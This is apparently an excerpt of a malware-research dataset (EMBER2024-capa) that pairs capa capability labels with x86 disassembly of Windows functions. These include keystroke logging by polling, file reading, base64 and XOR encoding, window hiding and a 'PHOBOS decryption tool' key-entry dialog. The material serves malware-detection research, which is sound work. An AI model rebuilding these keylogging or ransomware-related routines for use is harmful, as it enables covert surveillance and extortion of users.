joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401169
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push esi
push 4
call dword [sym.imp.USER32.dll_mouse_event]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
mov ebp, dword [sym.imp.USER32.dll_keybd_event]
cmp esi, 0x14
je 0x40120d
cmp esi, 0x90
je 0x40120d
cmp esi, 0x91
je 0x40120d
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push esi
call edi
test ah, 0x80
jne 0x4011d6
cmp esi, 8
je 0x4011cc
cmp esi, 1
je 0x4011c4
cmp esi, 2
je 0x4011c4
push esi
call ebx
jmp 0x4011c7
push esi
call edi
shr eax, 0xf
jmp 0x4011cf
push esi
call ebx
and eax, 1
test eax, eax
je 0x40120d
cmp esi, 0x21
jl 0x4011e0
cmp esi, 0x2e
jle 0x4011f8
cmp esi, 0x11
je 0x4011f8
cmp esi, 0x5b
je 0x4011f8
cmp esi, 0x5c
je 0x4011f8
cmp esi, 0x5d
je 0x4011f8
xor eax, eax
jmp 0x4011fb
push 1
pop eax
or al, 2
push 0
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push esi
call ebp
inc esi
cmp esi, 0x100
jl 0x40118d
and byte [esp + 0x14], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [esp + 0x15]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x18]
push esi
push eax
call fcn.00403850
add esp, 0xc
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
inc esi
cmp esi, 0xff
jl 0x40124d
push 0x91
call ebx
test al, 1
je 0x40132e
mov esi, dword [sym.imp.USER32.dll_VkKeyScanA]
push 0xffffffffffffff91
call esi
mov bl, al
push 0xffffffffffffff91
mov byte [esp + 0x14], bl
call esi
xor ecx, ecx
mov cl, ah
test cl, cl
je 0x40129e
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
xor eax, eax
push eax
push eax
push eax
push 0x10
call edi
push eax
push 0x10
call ebp
jmp 0x4012a4
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp bl, 0x21
jb 0x4012ae
cmp bl, 0x2e
jbe 0x4012c6
cmp bl, 0x11
je 0x4012c6
cmp bl, 0x5b
je 0x4012c6
cmp bl, 0x5c
je 0x4012c6
cmp bl, 0x5d
je 0x4012c6
xor eax, eax
jmp 0x4012c9
push 1
pop eax
movzx esi, bl
push 0
push eax
push 0
push esi
call edi
push eax
push dword [esp + 0x1c]
call ebp
cmp bl, 0x21
jb 0x4012e5
cmp bl, 0x2e
jbe 0x4012fd
cmp bl, 0x11
je 0x4012fd
cmp bl, 0x5b
je 0x4012fd
cmp bl, 0x5c
je 0x4012fd
cmp bl, 0x5d
je 0x4012fd
xor eax, eax
jmp 0x401300
push 1
pop eax
xor ebx, ebx
or al, 2
push ebx
push eax
push ebx
push esi
call edi
push eax
push dword [esp + 0x1c]
call ebp
push 0xffffffffffffff91
call dword [sym.imp.USER32.dll_VkKeyScanA]
xor ecx, ecx
mov cl, ah
test cl, cl
je 0x40132e
push ebx
push 2
push ebx
push 0x10
call edi
push eax
push 0x10
call ebp
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x4016f9
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
stosb byte es:[edi], al
je 0x401728
cmp byte [esi], bl
jne 0x401742
lea eax, [ebp - 0x104]
push 0x103
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, ebx
je 0x40174a
cmp byte [esi], bl
jne 0x401750
lea esi, [ebp - 0x104]
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402d61
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [ebp + 0x10]
mov dword [ebp + 8], eax
cmp edi, ebx
je 0x402dcb
cmp eax, ebx
je 0x402dcb
cmp dword [ebp + 0xc], ebx
jge 0x402da4
push 2
pop eax
jmp 0x402da6
xor eax, eax
push eax
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0x14]
cmp eax, dword [ebp + 8]
jb 0x402dbd
mov eax, dword [ebp + 8]
lea ecx, [ebp + 8]
push ebx
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402f7a
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 8]
and dword [ebp - 0x20], eax
mov ecx, dword [0x4057b4]
stosd dword es:[edi], eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test ecx, ecx
stosd dword es:[edi], eax
je 0x402fb0
push ecx
call fcn.00403744
pop ecx
mov ecx, dword [0x4057b4]
jmp 0x402fb2
xor eax, eax
push 0x14
xor edx, edx
pop esi
div esi
mov edx, dword [0x4057c0]
add edx, 0x64
cmp edx, eax
jb 0x402fee
test ecx, ecx
je 0x402fd9
push ecx
call fcn.00403744
pop ecx
mov ecx, dword [0x4057b4]
jmp 0x402fdb
xor eax, eax
add eax, 0x4e20
push eax
push ecx
call fcn.004034af
pop ecx
mov dword [0x4057b4], eax
pop ecx
mov byte [ebp - 1], 1
movzx esi, byte [ebp - 1]
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov bx, ax
shr ebx, 0xf
and bl, 1
cmp byte [esi + 0x4059f4], bl
jne 0x403019
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xff
jb 0x402ff2
jmp 0x403023
movzx eax, byte [ebp - 1]
mov byte [eax + 0x4059f4], bl
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, byte [ebp - 1]
cmp al, 0xff
jae 0x40308a
cmp al, 1
je 0x403067
cmp al, 2
je 0x403073
cmp al, 0xa0
je 0x40308a
neg bl
movzx esi, al
sbb ebx, ebx
push 0
add ebx, 0x101
push esi
mov dword [ebp - 0x20], ebx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov ebx, eax
mov eax, dword [ebp - 8]
mov edi, ebx
shl edi, 8
or edi, esi
jmp 0x403093
neg bl
sbb ebx, ebx
add ebx, 0x202
jmp 0x40307d
neg bl
sbb ebx, ebx
add ebx, 0x205
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, eax
jmp 0x403093
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], 0
jne 0x4030cd
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x40313d
test eax, eax
je 0x40313d
lea edx, [eax + ecx]
cmp dl, byte [0x4059f4]
je 0x40313d
mov ebx, eax
add al, cl
mov dword [ebp - 0x20], 0x200
mov edi, ecx
mov byte [0x4059f4], al
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x4057c0]
mov edx, dword [0x4057b4]
lea ecx, [ecx + ecx*4]
mov dword [edx + ecx*4 + 0x10], eax
mov eax, dword [0x4057c0]
mov ecx, dword [0x4057b4]
mov edx, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4], edx
mov eax, dword [0x4057c0]
mov ecx, dword [0x4057b4]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4 + 4], edi
mov eax, dword [0x4057c0]
mov ecx, dword [0x4057b4]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4 + 8], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x4057c0]
mov edx, dword [0x4057b4]
lea ecx, [ecx + ecx*4]
mov dword [edx + ecx*4 + 0xc], eax
inc dword [0x4057c0]
push 0
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x403758
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x403781
mov al, byte [esi + 1]
inc esi
test al, al
je 0x403779
cmp al, 0x22
jne 0x40376d
cmp byte [esi], 0x22
jne 0x40378b
inc esi
jmp 0x40378b
cmp al, 0x20
jle 0x40378b
inc esi
cmp byte [esi], 0x20
jg 0x403785
mov al, byte [esi]
test al, al
je 0x403795
cmp al, 0x20
jle 0x40377e
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403805
push 0x405004
push section..data
call fcn.004037eb
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4037c5
movzx eax, word [ebp - 0x14]
jmp 0x4037c8
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.0040381d
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401140
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
push esi
push edi
lea edi, [edx - 2]
xor ecx, ecx
mov esi, eax
mov eax, dword [ebp + 8]
test edi, edi
jle 0x4011cd
jmp 0x401160
movzx edx, byte [esi + ecx]
shr edx, 2
movzx edx, byte [edx + 0x40cb10]
mov byte [eax], dl
movzx edx, byte [esi + ecx]
movzx ebx, byte [esi + ecx + 1]
and edx, 3
shl edx, 4
shr ebx, 4
or edx, ebx
movzx edx, byte [edx + 0x40cb10]
mov byte [eax + 1], dl
movzx edx, byte [esi + ecx + 1]
movzx ebx, byte [esi + ecx + 2]
and edx, 0xf
add edx, edx
add edx, edx
shr ebx, 6
or edx, ebx
movzx edx, byte [edx + 0x40cb10]
mov byte [eax + 2], dl
movzx edx, byte [esi + ecx + 2]
and edx, 0x3f
movzx edx, byte [edx + 0x40cb10]
mov byte [eax + 3], dl
add ecx, 3
add eax, 4
cmp ecx, edi
jl 0x401160
mov edx, dword [ebp + 0xc]
cmp ecx, edx
jge 0x401247
movzx edi, byte [ecx + esi]
shr edi, 2
mov bl, byte [edi + 0x40cb10]
dec edx
mov byte [eax], bl
cmp ecx, edx
jne 0x40120f
movzx ecx, byte [ecx + esi]
and ecx, 3
shl ecx, 4
mov dl, byte [ecx + 0x40cb10]
mov byte [eax + 1], dl
mov byte [eax + 2], 0x3d
add eax, 3
mov byte [eax], 0x3d
inc eax
mov byte [eax], 0
sub eax, dword [ebp + 8]
pop edi
pop esi
inc eax
pop ebx
pop ebp
ret
lea edx, [ecx + esi + 1]
movzx ecx, byte [ecx + esi]
movzx esi, byte [edx]
and ecx, 3
shl ecx, 4
shr esi, 4
or ecx, esi
movzx ecx, byte [ecx + 0x40cb10]
mov byte [eax + 1], cl
movzx edx, byte [edx]
and edx, 0xf
movzx ecx, byte [edx*4 + 0x40cb10]
mov byte [eax + 2], cl
add eax, 3
mov byte [eax], 0x3d
inc eax
mov byte [eax], 0
sub eax, dword [ebp + 8]
pop edi
pop esi
inc eax
pop ebx
pop ebp
ret

Function at 0x401820
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x412164]
lea ebx, [esi + 0x38]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x34]
test eax, eax
je 0x401866
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x401866
cmp dword [ebp - 4], 0x103
je 0x401866
mov edx, dword [esi + 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x34], 0
cmp dword [esi + 0x34], 0
jne 0x4018a7
push edi
push 8
call fcn.00404802
add esp, 4
push 0
push 0
mov edi, eax
push edi
push 0x4014b0
push 0
push 0
mov dword [edi + 4], esi
mov dword [edi], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x34], eax
test eax, eax
jne 0x4018a6
push edi
call fcn.00404788
add esp, 4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esi + 0x34]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b20
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ebx
imul eax, eax, 0x84
push esi
mov dword [ebp + 8], eax
add eax, 8
push edi
push eax
xor edi, edi
mov dword [ebp - 4], eax
call fcn.00404802
mov esi, eax
add esp, 4
cmp esi, edi
je 0x401c01
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push ecx
mov dword [esi + 4], edi
mov eax, ebx
push edx
xor eax, 0x3345f0ac
lea edi, [esi + 8]
push edi
mov dword [esi], eax
call fcn.00404ba0
add esp, 0xc
test ebx, ebx
je 0x401bbb
dec ebx
xor dword [edi], 0x3345f0ac
mov eax, dword [esi + 4]
mov dword [ebp + 8], ebx
mov ecx, 0x84
mov edx, edi
not eax
lea ebx, [ebx]
movzx ebx, byte [edx]
xor ebx, eax
and ebx, 0xff
shr eax, 8
xor eax, dword [ebx*4 + 0x40eb10]
inc edx
dec ecx
jne 0x401b90
mov ebx, dword [ebp + 8]
not eax
add edi, 0x84
mov dword [esi + 4], eax
test ebx, ebx
jne 0x401b74
mov ebx, dword [ebp - 4]
xor dword [esi + 4], 0x3345f0ac
lea ecx, [ebx + 2]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*4 + 1]
push ecx
call fcn.00404802
mov edi, eax
add esp, 4
test edi, edi
je 0x401bf8
push ebx
push edi
mov eax, esi
call fcn.00401140
add esp, 8
push esi
call fcn.00404788
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f20
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x2c
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.00406710
mov ecx, dword [0x412128]
add esp, 0xc
push 0x7f00
push 0
mov dword [ebp - 0x40], 0x30
mov dword [ebp - 0x18], str.AzaliaKeyWnd
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], 0x401e10
call dword [sym.imp.USER32.dll_LoadCursorW]
lea edx, [ebp - 0x40]
push edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], 0
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExW]
test ax, ax
je 0x401fcd
mov eax, dword [0x412128]
mov ecx, dword [0x41216c]
push 0
push eax
push 0
push ecx
push 0x118
push 0x258
push 0x80000000
push 0x80000000
push 0
push str.PHOBOS_decryption_tool
push str.AzaliaKeyWnd
push 0
call ebx
mov dword [0x412174], eax
jmp 0x401fd2
mov eax, dword [0x412174]
test eax, eax
je 0x402176
lea edx, [ebp - 0x10]
push edx
push eax
mov esi, eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [0x412128]
push 0
push eax
push 0
push esi
push 0x10
push 0x78
push 8
push 4
push 0x40000000
push str.Enter_decryption_key
push str.Static
push 0
call ebx
push 0
push 0x11
mov dword [0x412168], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov ecx, dword [0x412168]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
push 0x30
push ecx
call edi
mov edx, dword [0x412128]
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
push 0
push edx
push 0
push esi
push 0xb4
sub eax, 8
push eax
push 0x20
push 4
push 0x40200004
push 0
push str.Edit
push 0x200
call ebx
push 0
push 0x11
mov dword [0x412134], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov ecx, dword [0x412134]
push eax
push 0x30
push ecx
call edi
mov edx, dword [0x412128]
push 0
push edx
push 0
push esi
push 0x16
push 0x64
push 0xd9
push 4
push 0x40000000
push str.Decrypt
push str.Button
push 0
call ebx
push 0
push 0x11
mov dword [0x412130], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [0x412130]
push 0x30
push eax
call edi
mov ecx, dword [0x412128]
push 0
push ecx
push 0
push esi
push 0x16
push 0x64
push 0xd9
push 0x6c
push 0x40000000
push str.Cancel
push str.Button
push 0
call ebx
push 0
push 0x11
mov dword [0x412138], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov edx, dword [0x412138]
push eax
push 0x30
push edx
call edi
mov eax, dword [0x412134]
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, dword [0x412134]
mov esi, dword [sym.imp.USER32.dll_SetWindowLongW]
push eax
push 0xffffffffffffffeb
push ecx
call esi
mov edx, dword [0x412134]
push 0x401e10
push 0xfffffffffffffffc
push edx
call esi
mov eax, dword [0x412134]
push 0
push 0
push 0xc5
push eax
call edi
mov ecx, dword [0x412168]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
push ecx
call esi
mov edx, dword [0x412134]
push 5
push edx
call esi
mov eax, dword [0x412130]
push 5
push eax
call esi
mov ecx, dword [0x412138]
push 5
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402640
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
je 0x4027b1
mov eax, dword [0x412174]
push edi
push ebx
push 0xffffffffffffffeb
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, dword [0x412134]
push 0
test ebx, ebx
je 0x4026bc
push 1
push 0xcf
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [0x412134]
mov esi, dword [sym.imp.USER32.dll_SetWindowTextW]
push 0x40cdac
push edx
call esi
mov eax, dword [0x412168]
push str.Your_request_code
push eax
call esi
mov ecx, dword [0x412130]
push 0x40cdd4
push ecx
call esi
mov edx, dword [0x412130]
mov esi, dword [sym.imp.USER32.dll_EnableWindow]
push 1
push edx
call esi
push 0
jmp 0x40270c
push 0
push 0xcf
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [0x412134]
mov esi, dword [sym.imp.USER32.dll_SetWindowTextW]
push 0x40cdac
push edx
call esi
mov eax, dword [0x412168]
push str.Enter_decryption_code
push eax
call esi
mov ecx, dword [0x412130]
push str.Decrypt
push ecx
call esi
mov edx, dword [0x412130]
mov esi, dword [sym.imp.USER32.dll_EnableWindow]
push 0
push edx
call esi
push 5
mov eax, dword [0x412138]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call edi
mov ecx, dword [0x41213c]
push 0
push ecx
call esi
mov edx, dword [0x412154]
push 0
push edx
call esi
mov eax, dword [0x412124]
push 0
push eax
call esi
mov ecx, dword [0x412144]
push 0
push ecx
call esi
mov edx, dword [0x412170]
push 0
push edx
call esi
mov eax, dword [0x41215c]
push 0
push eax
call esi
mov ecx, dword [0x412148]
push 0
push ecx
call esi
mov edx, dword [0x412160]
push 0
push edx
call esi
mov eax, dword [0x41216c]
push 0
push eax
call esi
mov ecx, dword [0x412174]
push 5
push ecx
call edi
mov edx, dword [0x412174]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
test ebx, ebx
jne 0x402853
mov eax, dword [0x412174]
push ebx
push 0x1f4
push ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
pop esi
pop ebp
ret
mov ecx, dword [0x412174]
push 0xffffffffffffffeb
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, eax
jne 0x4027d2
mov edx, dword [0x412174]
push eax
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x412174]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x41213c]
mov esi, dword [sym.imp.USER32.dll_EnableWindow]
push 1
push ecx
call esi
mov edx, dword [0x412154]
push 1
push edx
call esi
mov eax, dword [0x412124]
push 1
push eax
call esi
mov ecx, dword [0x412144]
push 1
push ecx
call esi
mov edx, dword [0x412170]
push 1
push edx
call esi
mov eax, dword [0x41215c]
push 1
push eax
call esi
mov ecx, dword [0x412148]
push 1
push ecx
call esi
mov edx, dword [0x412160]
push 1
push edx
call esi
mov eax, dword [0x41216c]
push 1
push eax
call esi
mov ecx, dword [0x41216c]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
pop esi
pop ebp
ret
Function at 0x402860
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x41216c]
push esi
push 0
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x41216c]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [0x412150]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push edx
call esi
mov eax, dword [0x41214c]
push 0
push eax
call esi
mov ecx, dword [0x412120]
push 0
push ecx
call esi
mov edx, dword [0x41212c]
push 0
push edx
call esi
mov eax, dword [0x41215c]
push 5
push eax
call esi
mov ecx, dword [0x412148]
push 5
push ecx
call esi
mov edx, dword [0x412160]
push 5
push edx
call esi
mov eax, dword [0x412144]
push 5
push eax
call esi
mov ecx, dword [0x412170]
push 5
push ecx
call esi
mov edx, dword [0x41213c]
push 5
push edx
call esi
mov eax, dword [0x412154]
push 5
push eax
call esi
mov ecx, dword [0x412124]
push 5
push ecx
call esi
pop esi
ret
Function at 0x402910
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x41215c]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push edi
push 0
push eax
call esi
mov ecx, dword [0x412148]
push 0
push ecx
call esi
mov edx, dword [0x412160]
push 0
push edx
call esi
mov eax, dword [0x412144]
push 0
push eax
call esi
mov ecx, dword [0x412170]
push 0
push ecx
call esi
mov edx, dword [0x41213c]
push 0
push edx
call esi
mov eax, dword [0x412154]
push 0
push eax
call esi
mov ecx, dword [0x412124]
push 0
push ecx
call esi
mov edx, dword [0x41216c]
push 0
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x41216c]
mov edi, dword [sym.imp.USER32.dll_SetFocus]
push eax
call edi
mov ecx, dword [0x412150]
push 0
push ecx
call esi
mov edx, dword [0x41214c]
push 0
push edx
call esi
mov eax, dword [0x412120]
push 0
push eax
call esi
mov ecx, dword [0x41212c]
push 0
push ecx
call esi
cmp dword [ebp + 8], 0
je 0x4029cd
mov edx, dword [0x412150]
push str.Decrypting_...
push edx
jmp 0x4029d8
mov eax, dword [0x412150]
push str.Scanning_...
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov ecx, dword [0x41214c]
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongW]
push 0xfffffffffffffff0
push ecx
call ebx
mov edx, dword [0x41214c]
or eax, 8
push eax
push 0xfffffffffffffff0
push edx
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov eax, dword [0x41214c]
push 0
push 1
push 0x40a
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [0x41216c]
push ecx
call edi
mov edx, dword [0x41216c]
push 0
push 0x32
push 0
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [0x41214c]
push 0xfffffffffffffff0
push eax
call ebx
mov ecx, dword [0x41214c]
or eax, 8
push eax
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, dword [0x41214c]
push 0
push 1
push 0x40a
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [0x41216c]
push eax
call edi
mov ecx, dword [0x41216c]
push 0
push 0x32
push 0
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
mov edx, dword [0x412150]
push 5
push edx
call esi
mov eax, dword [0x41214c]
push 5
push eax
call esi
mov ecx, dword [0x412120]
push 5
push ecx
call esi
mov edx, dword [0x41212c]
push 5
push edx
call esi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402b50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x412148]
push ebx
push esi
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
lea ecx, [esi + esi + 2]
push ecx
call fcn.00404802
push 0x10000
mov ebx, eax
call fcn.00404802
add esp, 8
mov edi, eax
mov dword [ebp - 4], edi
test ebx, ebx
je 0x402ca0
test esi, esi
je 0x402ba8
mov eax, dword [0x412148]
lea edx, [esi + 1]
push edx
push ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x402c97
xor ecx, ecx
mov word [ebx + esi*2], cx
cmp word [ebx], cx
je 0x402bbe
mov eax, edi
mov ecx, ebx
call fcn.004030c4
jmp 0x402bc3
xor edx, edx
mov word [edi], dx
push 0x50
push 1
call fcn.004047c2
mov esi, eax
add esp, 8
test esi, esi
je 0x402c7a
mov edi, dword [0x412140]
test edi, edi
je 0x402c00
push 6
call fcn.00404802
add esp, 4
mov dword [esi + 0xc], eax
test eax, eax
je 0x402c70
mov ecx, dword [edi]
mov dword [eax], ecx
mov dx, word [edi + 4]
mov word [eax + 4], dx
mov edi, dword [0x412178]
test edi, edi
je 0x402c27
push 6
call fcn.00404802
add esp, 4
mov dword [esi + 0x10], eax
test eax, eax
je 0x402c70
mov ecx, dword [edi]
mov dword [eax], ecx
mov dx, word [edi + 4]
mov word [eax + 4], dx
mov eax, dword [ebp - 4]
test eax, eax
je 0x402c3e
push eax
call fcn.0040a492
add esp, 4
mov dword [esi + 4], eax
test eax, eax
je 0x402c70
push 2
push 0x8000
call fcn.004047c2
add esp, 8
mov dword [esi + 8], eax
test eax, eax
je 0x402c70
push 0xfa0
lea eax, [esi + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
je 0x402c70
mov dword [esi + 0x14], 0x88
jmp 0x402c77
call fcn.00401690
xor esi, esi
mov edi, dword [ebp - 4]
mov dword [0x412164], esi
test esi, esi
je 0x402c97
call fcn.00401820
test eax, eax
je 0x402c97
push 0
call fcn.00402910
add esp, 4
push ebx
call fcn.00404788
add esp, 4
test edi, edi
je 0x402cad
push edi
call fcn.00404788
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret